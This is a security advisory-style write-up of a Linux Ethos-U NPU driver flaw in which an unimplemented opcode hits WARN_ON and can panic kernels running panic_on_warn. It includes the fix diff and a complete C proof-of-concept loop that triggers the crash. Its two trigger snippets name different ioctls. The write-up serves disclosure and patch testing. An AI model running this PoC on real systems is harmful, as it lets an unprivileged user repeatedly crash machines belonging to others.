# CVE-2026-53169: a WARN_ON that could panic the box in the Ethos-U driver

**Patch:** [ef911805d86a05363d3ec2fa9835a41def83bb7e](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ef911805d86a05363d3ec2fa9835a41def83bb7e) (mainline, landed in 7.1)
**Subsystem:** accel/ethosu, Arm Ethos-U NPU driver
**Affected file:** drivers/accel/ethosu/ethosu_gem.c
**CVE record:** [CVE-2026-53169](https://www.cve.org/CVERecord?id=CVE-2026-53169)
**Introduced in:** 6.19, commit 5a5e9c0228e613f0ef2a58b9782d7c0ea8f1e58b

## The bug in one sentence

An unimplemented U85-only command was handled with a bare WARN_ON(1), which any user with access to the DRM device could trigger in a loop, and with panic_on_warn set, that is an unprivileged kernel panic button.

## The placeholder that shipped

NPU_OP_RESIZE is a command the driver does not implement yet. The placeholder for "we reached a command we do not handle" was:

```c
default:
        WARN_ON(1);
```

Every userspace submission of that command through the ioctl path fires the warning. WARN output is rate limited in some configurations and not in others, but the property that matters here is what WARN means when the kernel boots with panic_on_warn=1 (common in hardened and some production embedded profiles): the kernel treats the warning as fatal. So an unprivileged user with the NPU device node open gets to decide when your system reboots, repeatedly, by submitting a stream containing an opcode the driver explicitly knows it does not support.

Even without panic_on_warn you get unbounded log spam from a loop, which is its own minor denial of service on slow consoles.

The fix replaces the warning with a proper rejection:

```diff
 default:
-		WARN_ON(1);
+		return -EINVAL;
```

Full patch: [ef911805d86a](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ef911805d86a05363d3ec2fa9835a41def83bb7e). The ioctl now fails cleanly before anything reaches hardware, which is what an unimplemented command should always do.

## How to trigger it

The command the driver does not implement is opcode 0x7, NPU_OP_RESIZE, and the placeholder for it was WARN_ON(1):

```c
unsigned int stream[] = { WORD(0x7, 0) };   /* NPU_OP_RESIZE, U85 only */

/* loop it from userspace through DRM_IOCTL_ETHOSU_BO_CREATE */
while (1) {
    ioctl(drm_fd, DRM_IOCTL_ETHOSU_BO_CREATE, &create);  /* re-create per loop */
}
```

Pre-fix, every submission fires the WARN. On a normal kernel that is a flooding dmesg; on a kernel booted with panic_on_warn=1 (hardened and many embedded production profiles) every ioctl call panics the box, so an unprivileged user with the NPU device node open gets a reboot loop. Post-fix the ioctl returns EINVAL and nothing is logged. Test both behaviors by toggling the sysctl:

```bash
sysctl kernel.panic_on_warn=1   # panic per submission pre-fix
```

## Score and classification

* NVD: 5.5 MEDIUM, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
* CWE-617, reachable assertion, agreed by NVD and Red Hat, which is a refreshingly precise mapping for a WARN-based DoS
* SentinelOne's database entry shows EPSS at 0.155 percent and states no known exploitation, with a suggested workaround of panic_on_warn=0 or blacklisting the ethosu module

Local, low privileges, availability only. The 5.5 is the canonical score for exactly this shape.

## Exploit code

Submit the unimplemented opcode in a loop. With panic_on_warn set, every iteration is a panic:

```c
/* ethosu_warn_panic.c: CVE-2026-53169
 * gcc -o poc poc.c && ./poc /dev/accel/accel0
 * vulnerable kernel + panic_on_warn=1: panic per submission
 * fixed kernel: ioctl fails, EINVAL, nothing logged
 */
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <drm/ethosu_accel.h>

int main(int argc, char **argv)
{
	/* 0x7 = NPU_OP_RESIZE, U85 only, driver has no case for it */
	uint32_t stream[] = { (0x0u << 16) | 0x7u };
	struct drm_ethosu_cmdstream_bo_create args = {0};
	int fd = open(argc > 1 ? argv[1] : "/dev/accel/accel0", O_RDWR);
	int i;

	if (fd < 0) { perror("open"); return 1; }
	for (i = 0; i < 100000; i++) {
		args.size = sizeof(stream);
		args.data = (uint64_t)(uintptr_t)stream;
		if (ioctl(fd, DRM_IOCTL_ETHOSU_CMDSTREAM_BO_CREATE, &args) < 0
		    && errno == EINVAL)
			break;                      /* fixed kernel */
	}
	printf("stopped after %d submissions, errno %d (%s)\n",
	       i, errno, strerror(errno));
	return 0;
}
```

On a vulnerable kernel the loop never sees EINVAL: each submission trips the WARN, dmesg floods, and with kernel.panic_on_warn=1 the box reboots on iteration one, giving any user holding the NPU device node a reboot button. Post-fix the first submission returns EINVAL and the loop exits immediately. Public status: no KEV, no public PoC before this note; fixed in 7.0.13 and 7.1, Ubuntu USNs 8726-1 through 8800-1, Debian stable never affected.

## Where the fix shipped

* 7.0.13: [70090a32f56a](https://git.kernel.org/stable/c/70090a32f56a4589e7e860e0f9a8fbe4417df0a1)
* 7.1: [ef911805d86a](https://git.kernel.org/stable/c/ef911805d86a05363d3ec2fa9835a41def83bb7e)

## References

1. [Upstream commit ef911805d86a](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ef911805d86a05363d3ec2fa9835a41def83bb7e)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026062551-CVE-2026-53169-4df9@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-53169)
4. [SentinelOne entry](https://www.sentinelone.com/vulnerability-database/cve-2026-53169)
5. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-53169)
